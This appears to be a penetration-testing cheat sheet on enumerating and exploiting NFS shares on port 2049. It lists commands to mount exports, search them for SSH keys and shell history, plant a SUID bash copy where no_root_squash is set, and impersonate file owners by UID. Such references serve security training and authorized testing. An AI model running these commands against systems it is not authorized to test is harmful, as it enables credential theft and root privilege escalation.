↓ Skip to main content
Cameron Candau

2049 nfs

NFS Enumeration (2049)
#

Run nmap NFS scripts
#

nmap --script=nfs-* -p 2049 $IP

Enumerate RPC services
#

nmap -p 111 --script=rpc-grind $IP
rpcinfo -p $IP

List exports
#

showmount -e $IP
showmount -a $IP
showmount -d $IP

Create a mount point
#

mkdir -p /tmp/nfs_mount

Mount the share
#

mount -t nfs $IP:/sharename /tmp/nfs_mount
mount -t nfs -o vers=3 $IP:/sharename /tmp/nfs_mount

Explore the mounted share
#

ls -la /tmp/nfs_mount/
find /tmp/nfs_mount/ -type f -readable 2>/dev/null
find /tmp/nfs_mount/ -type f -writable 2>/dev/null

Search for sensitive files
#

find /tmp/nfs_mount/ \( -name "*.txt" -o -name "*.conf" -o -name "*.log" \) 2>/dev/null
find /tmp/nfs_mount/ \( -name "id_rsa" -o -name "authorized_keys" -o -name ".bash_history" \) 2>/dev/null

Prepare a SUID binary if no_root_squash is enabled on the server
#

cp /bin/bash /tmp/nfs_mount/bash_suid
chmod +s /tmp/nfs_mount/bash_suid

Match file ownership by UID
#

sudo useradd -u 1001 tempuser
sudo su tempuser

Unmount the share
#

umount /tmp/nfs_mount